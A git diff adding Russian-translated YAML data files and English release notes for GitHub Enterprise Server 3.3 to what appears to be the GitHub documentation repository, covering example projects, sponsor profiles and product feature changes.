вытягивание + versions: + fpt: '*' + ghec: '*' + ghes: '>=3.3' diff --git a/translations/ru-RU/data/product-examples/codespaces/code-examples.yml b/translations/ru-RU/data/product-examples/codespaces/code-examples.yml new file mode 100644 index 000000000000..ddf8c3760af0 --- /dev/null +++ b/translations/ru-RU/data/product-examples/codespaces/code-examples.yml @@ -0,0 +1,36 @@ +- title: Пример проекта Node.js + description: Запустите проект Node.js с помощью настраиваемого контейнера разработки + languages: JavaScript + href: microsoft/vscode-remote-try-node + tags: + - контейнеры разработки +- title: Пример проекта Python + description: Запустите проект Python с помощью настраиваемого контейнера разработки + languages: Python + href: microsoft/vscode-remote-try-python + tags: + - контейнеры разработки +- title: Пример проекта Java + description: Запустите проект Java с помощью настраиваемого контейнера разработки + languages: Java + href: microsoft/vscode-remote-try-java + tags: + - контейнеры разработки +- title: Пример проекта Go + description: Запустите проект Go с помощью настраиваемого контейнера разработки + languages: Go + href: microsoft/vscode-remote-try-go + tags: + - контейнеры разработки +- title: Пример проекта Rust + description: Запустите проект Rust с помощью настраиваемого контейнера разработки + languages: Rust + href: microsoft/vscode-remote-try-rust + tags: + - контейнеры разработки +- title: Пример проекта PHP + description: Запустите проект PHP с помощью настраиваемого контейнера разработки + languages: PHP + href: microsoft/vscode-remote-try-php + tags: + - контейнеры разработки diff --git a/translations/ru-RU/data/product-examples/discussions/community-examples.yml b/translations/ru-RU/data/product-examples/discussions/community-examples.yml new file mode 100644 index 000000000000..7c2579a09706 --- /dev/null +++ b/translations/ru-RU/data/product-examples/discussions/community-examples.yml @@ -0,0 +1,37 @@ +# Images and descriptions are pulled directly from the repo + +- repo: vercel/next.js + description: Платформа React + +- repo: gatsbyjs/gatsby + description: Создавайте современные быстрые приложения и веб-сайты с помощью React + +- repo: nodejs/node + description: Среда выполнения JavaScript Node.js ✨🐢🚀✨ + +- repo: tailwindlabs/tailwindcss + description: Платформа CSS для ускоренной разработки пользовательского интерфейса служебных программ. + +- repo: laravel/framework + description: Laravel — это платформа веб-приложений с выразительным и емким синтаксисом. + +- repo: prisma/prisma + description: "Доступ к современным базам данных (замена ORM) для Node.js и TypeScript | PostgreSQL, MySQL, MariaDB и SQLite" + +- repo: dotnet/csharplang + description: "Официальный репозиторий разработки языка C#" + +- repo: home-assistant/frontend + description: 🍭 Внешний интерфейс для Home Assistant + +- repo: jspsych/jsPsych + description: Библиотека JavaScript для создания и запуска поведенческих экспериментов в веб-браузере + +- repo: adonisjs/core + description: "🚀 Платформа Node.js, предназначенная для поддержания эргономики, стабильности и уверенности разработчиков" + +- repo: ImageMagick/ImageMagick + description: 🧙‍♂️ ImageMagick 7 + +- repo: react-hook-form/react-hook-form + description: 📋 Перехватчики React для проверки форм (веб-форм и собственных форм React) diff --git a/translations/ru-RU/data/product-examples/sponsors/user-examples.yml b/translations/ru-RU/data/product-examples/sponsors/user-examples.yml new file mode 100644 index 000000000000..0aa2d1c61a8c --- /dev/null +++ b/translations/ru-RU/data/product-examples/sponsors/user-examples.yml @@ -0,0 +1,19 @@ +# Images and descriptions are pulled directly from the repo + +- user: chaynHQ + description: "Chayn предоставляет необходимую информацию и поддержку женщинам, столкнувшимся с насилием, чтобы они могли взять под контроль свою жизнь." + +- user: foosel + description: "👋 Меня зовут Джина, больше всего я известна как создательница и главная разработчица приложения OctoPrint 🐙." + +- user: dayhaysoos + description: "Привет! Меня зовут Ник. Я инженер, и мое новое увлечение заключается в ускорении работы интерфейсов разработчиков электронной коммерции." + +- user: yyx990803 + description: "Я работаю на постоянной основе с Vue.js, интерфейсной платформе на JavaScript для создания веб-приложений, и с Vite, современным веб-средством для сборки." + +- user: calebporzio + description: "🚶‍♂️Я ушел с основной работы в январе 2019 года, чтобы заниматься разработкой с открытым кодом. С тех пор я поучаствовал в создании Laravel Livewire, AlpineJS и многого другого." + +- user: kjaymiller + description: "Привет! Я Джей! 👋 Я служил в морской пехоте США, а с 2014 года начал писать код и стал разработчиком. Я также состою в сообществе, где помогаю людям автоматизировать их любимые приложения и инструменты." diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/0-rc1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/0-rc1.yml new file mode 100644 index 000000000000..840bd35324cc --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/0-rc1.yml @@ -0,0 +1,299 @@ +date: '2021-11-09' +release_candidate: true +deprecated: true +intro: | + {% note %} + + **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments. + + {% endnote %} + + For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." +sections: + features: + - heading: Security Manager role + notes: + # https://github.com/github/releases/issues/1610 + - | + Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The "security manager" role can be applied to any team and grants the team's members the following access: + + - Read access on all repositories in the organization. + - Write access on all security alerts in the organization. + - Access to the organization-level security tab. + - Write access on security settings at the organization level. + - Write access on security settings at the repository level. + + For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)." + + - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling' + notes: + # https://github.com/github/releases/issues/1378 + - | + {% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier. + + Ephemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.location.product_location %}, allowing you to perform any post-job management. + + You can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests. + + For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)." + + - heading: 'Dark high contrast theme' + notes: + # https://github.com/github/releases/issues/1539 + - | + A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes. + + ![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif) + + For more information about changing your theme, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." + + changes: + - heading: Administration Changes + notes: + # https://github.com/github/releases/issues/1666 + - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.' + + # https://github.com/github/releases/issues/1533 + - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."' + + # https://github.com/github/releases/issues/1616 + - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."' + + # https://github.com/github/releases/issues/1609 + - A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity. + + - heading: Token Changes + notes: + # https://github.com/github/releases/issues/1390 + - | + An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original. + + When using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + + - heading: 'Notifications changes' + notes: + # https://github.com/github/releases/issues/1625 + - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.' + + - heading: 'Repositories changes' + notes: + # https://github.com/github/releases/issues/1735 + - Public repositories now have a `Public` label next to their names like private and internal repositories. This change makes it easier to identify public repositories and avoid accidentally committing private code. + + # https://github.com/github/releases/issues/1733 + - If you specify the exact name of a branch when using the branch selector menu, the result now appears at the top of the list of matching branches. Previously, exact branch name matches could appear at the bottom of the list. + + # https://github.com/github/releases/issues/1673 + - When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request. + + # https://github.com/github/releases/issues/1670 + - You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers. + + # https://github.com/github/releases/issues/1571 + - When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + + # https://github.com/github/releases/issues/1752 + - A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/). + + # https://github.com/github/releases/issues/1416 + - You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)." + + - heading: 'Markdown changes' + notes: + # https://github.com/github/releases/issues/1645 + - | + You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments. + + * To add quotes, use cmd shift . on Mac, or ctrl shift . on Windows and Linux. + * To add an ordered list, use cmd shift 7 on Mac, or ctrl shift 7 on Windows and Linux. + * To add an unordered list, use cmd shift 8 on Mac, or ctrl shift 8 on Windows and Linux. + + See "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)" for a full list of available shortcuts. + + # https://github.com/github/releases/issues/1684 + - You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)." + + # https://github.com/github/releases/issues/1647 + - When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file. + + # https://github.com/github/releases/issues/1600 + - You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)." + + # https://github.com/github/releases/issues/1523 + - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.' + + # https://github.com/github/releases/issues/1626 + - When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file. + + - heading: 'Issues and pull requests changes' + notes: + # https://github.com/github/releases/issues/1504 + - You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)." + + # https://github.com/github/releases/issues/1685 + - | + Improvements have been made to help teams manage code review assignments. You can now: + + - Limit assignment to only direct members of the team. + - Continue with automatic assignment even if one or more members of the team are already requested. + - Keep a team assigned to review even if one or more members is newly assigned. + + The timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members. + + For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/). + - You can now filter pull request searches to only include pull requests you are directly requested to review. + # https://github.com/github/releases/issues/1683 + - Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." + + - heading: 'GitHub Actions changes' + notes: + # https://github.com/github/releases/issues/1593 + - You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)." + + # https://github.com/github/releases/issues/1694 + - Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise's self-hosted runners. + + # https://github.com/github/releases/issues/1157 + - | + The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events: + + * A self-hosted runner is registered or removed. + * A self-hosted runner is added to a runner group, or removed from a runner group. + * A runner group is created or removed. + * A workflow run is created or completed. + * A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner. + + For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)." + + # https://github.com/github/releases/issues/1588 + - Performance improvements have been made to {% data variables.product.prodname_actions %}, which may result in higher maximum job concurrency. + + - heading: 'GitHub Packages changes' + notes: + # https://github.com/github/docs-content/issues/5554 + - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage. + + - heading: 'Dependabot and Dependency graph changes' + notes: + # https://github.com/github/releases/issues/1141 + - Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." + + # https://github.com/github/releases/issues/1630 + - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.' + + - heading: 'Code scanning and secret scanning changes' + notes: + # https://github.com/github/releases/issues/1724 + - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. + + # https://github.com/github/releases/issues/1639 + - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).' + + # https://github.com/github/releases/issues/1655 + - | + Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request. + + Some other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/). + + # https://github.com/github/releases/issues/1546 + - You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/). + + # https://github.com/github/releases/issues/1562 + - User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository's entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + + - heading: API and webhook changes + notes: + # https://github.com/github/releases/issues/1744 + - Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)." + + # https://github.com/github/releases/issues/1513 + - You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)." + + # https://github.com/github/releases/issues/1578 + - You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation. + + # https://github.com/github/releases/issues/1527 + - Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)." + + # https://github.com/github/releases/issues/1476 + - You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation. + + # https://github.com/github/releases/issues/1485 + - GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository's issues and pull requests, and to access a public repository's comments and content. + + # https://github.com/github/releases/issues/1734 + - When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn't include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation. + + # https://github.com/github/releases/issues/1637 + - | + A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call. + + Commits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests). + + # https://github.com/github/releases/issues/1665 + - When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload's `after` commit. + + - heading: 'Performance Changes' + notes: + # https://github.com/github/releases/issues/1823 + - Page loads and jobs are now significantly faster for repositories with many Git refs. + + # No security/bug fixes for the RC release + # security_fixes: + # - PLACEHOLDER + + # bugs: + # - PLACEHOLDER + + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + + deprecations: + - heading: Deprecation of GitHub Enterprise Server 2.22 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - heading: Deprecation of GitHub Enterprise Server 3.0 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + + - heading: Deprecation of XenServer Hypervisor support + notes: + # https://github.com/github/docs-content/issues/4439 + - Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + + - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + notes: + # https://github.com/github/releases/issues/1316 + - | + To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements: + + * [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) + * [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) + + These endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4. + + - heading: Deprecation of the CodeQL runner + notes: + # https://github.com/github/releases/issues/1632 + - The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + + - heading: Deprecation of custom bit-cache extensions + notes: + # https://github.com/github/releases/issues/1415 + - | + Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3. + + Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. + + Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. + + To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the **Schedule** button. + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/0.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/0.yml new file mode 100644 index 000000000000..5aec8eca3fdd --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/0.yml @@ -0,0 +1,305 @@ +date: '2021-12-07' +intro: For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."

**Note:** We are aware of an issue where {% data variables.product.prodname_actions %} may fail to start automatically following the upgrade to {% data variables.product.prodname_ghe_server %} 3.3. To resolve, connect to the appliance via SSH and run the `ghe-actions-start` command. +sections: + features: + - heading: Security Manager role + notes: + # https://github.com/github/releases/issues/1610 + - | + Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The "security manager" role can be applied to any team and grants the team's members the following access: + + - Read access on all repositories in the organization. + - Write access on all security alerts in the organization. + - Access to the organization-level security tab. + - Write access on security settings at the organization level. + - Write access on security settings at the repository level. + + The security manager role is available as a public beta and subject to change. For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)." [Updated 2022-07-29] + + - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling' + notes: + # https://github.com/github/releases/issues/1378 + - | + {% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier. + + Ephemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.location.product_location %}, allowing you to perform any post-job management. + + You can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests. + + For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)." + + - heading: 'Dark high contrast theme' + notes: + # https://github.com/github/releases/issues/1539 + - | + A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes. + + ![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif) + + For more information about changing your theme, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." + + changes: + - heading: Administration Changes + notes: + # https://github.com/github/releases/issues/1666 + - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.' + + # https://github.com/github/releases/issues/1533 + - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."' + + # https://github.com/github/releases/issues/1616 + - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."' + + # https://github.com/github/releases/issues/1609 + - A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity. + + # https://github.com/github/docs-content/issues/5801 + - The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09] + + - heading: Token Changes + notes: + # https://github.com/github/releases/issues/1390 + - | + An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original. + + When using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + + - heading: 'Notifications changes' + notes: + # https://github.com/github/releases/issues/1625 + - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.' + + - heading: 'Repositories 